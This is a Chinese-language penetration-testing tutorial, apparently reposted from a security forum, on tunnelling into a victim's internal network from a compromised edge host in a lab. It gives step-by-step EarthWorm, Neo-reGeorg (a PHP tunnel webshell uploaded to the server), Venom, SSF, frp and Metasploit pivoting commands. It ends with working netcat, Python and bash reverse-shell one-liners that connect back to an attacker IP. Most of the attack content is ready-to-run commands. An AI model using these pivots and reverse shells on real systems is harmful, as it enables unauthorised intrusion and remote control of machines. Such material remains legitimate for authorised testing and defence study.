内网穿透的n种姿势
2021-04-27 10:53:01 Author: xz.aliyun.com(查看原文) 阅读量:223 收藏

  • 0x00 前言

在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法

  • 0x01 环境介绍

本地环境搭建:

边缘机器:

windows 7

ip:192.168.10.15(外)

 192.168.52.143(内)

目标机器:

windows 2008R2

ip:192.168.52.138

攻击机器:

windows 2008

ip:192.168.10.3

kali:

msf5:192.168.10.14

msf6:192.168.10.11

  • 0x02 EarthWorm

将ew_for_windows上传到边缘机器

1.正向连接

适用于目标机器拥有一个外网ip

在win7机器上执行

ew -s ssocksd -l 888

监听本机888端口。然后在2008r2机器上使用proxifier进行连接

2.反向连接

适用于边缘机器无公网ip

攻击机器上执行

ew_for_Win.exe -s rcsocks -l 1080 -e 1234

对外1234端口转发到1080端口

然后边缘机器连接

ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234

  • 0x03 Neo-reGeorg

注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同

生成文件

python neoreg.py generate -k 123456

在neoreg_servers目录下生成了木马文件

这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上

攻击机连接

python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

  • 0x04 Venom

攻击机器上执行

边缘机器(win7)执行

agent.exe -rhost 192.168.10.3 -rport 9999

攻击机查看反弹成功

执行命令

goto 1
socks 6666

  • 0x05 ssf

1.正向连接

把certs文件夹和ssfd上传到边缘机器

边缘机器开启1333端口

ssfd.exe ‐p 1333

攻击机连接边缘机器的1333端口,并将数据转发给1222端口

ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15

2008r2出问题,换到物理机上执行

2.反向连接

攻击机本地监听1234端口,命令如下:

ssfd.exe ‐p 1234

边缘机器连接1234端口,并将数据转发到12345端口,命令如下:

ssf.exe ‐F 12345 ‐p 1234 192.168.10.3

此处没有实验成功,还是写下步骤

本地socks代理连接127.0.0.1 12345端口

  • 0x06 frp

攻击机设置frps.ini

[common]
bind_port = 6666

运行如下命令:

frps.exe -c frps.ini

在边缘机器设置frpc.ini

[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5

执行如下命令:

frpc.exe ‐c frpc.ini

监听本地7777端口

0x07 msf

在msf6下只剩下了socks_proxy这个模块

还是先修改proxychains4.conf这个配置文件

添加路由使用模块

这里注意一下,我们在运行之前先show options一下,发现默认是socks5代理运行

如果想使用socks4a代理,添加如下语句即可

set version 4a

修改浏览器配置

成功访问内网资源

拓展:portfwd端口转发

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下

portfwd add -l 3389 -r 192.168.52.138 -p 3389

然后我们访问本地3389

  • 0x08 nc

1.正向连接

需要目标有公网ip

目标机器

nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe windows

攻击机器

nc <目标机器ip> 4444

2.反向连接

攻击机器监听本地1234端口

nc -lvp 1234

目标机器执行

nc <ip> 1234 -e /bin/sh linux
nc <ip> 1234 -e cmd.exe windows

在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc

python反向shell

攻击机器:

nc -lvp 2222

目标机器:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

bash反向shell

攻击机器:

nc -lvp 2222

目标机器:

bash -i >& /dev/tcp/192.168.10.3/2222 0>&1

文章来源: http://xz.aliyun.com/t/9454
如有侵权请联系:admin#unsafe.sh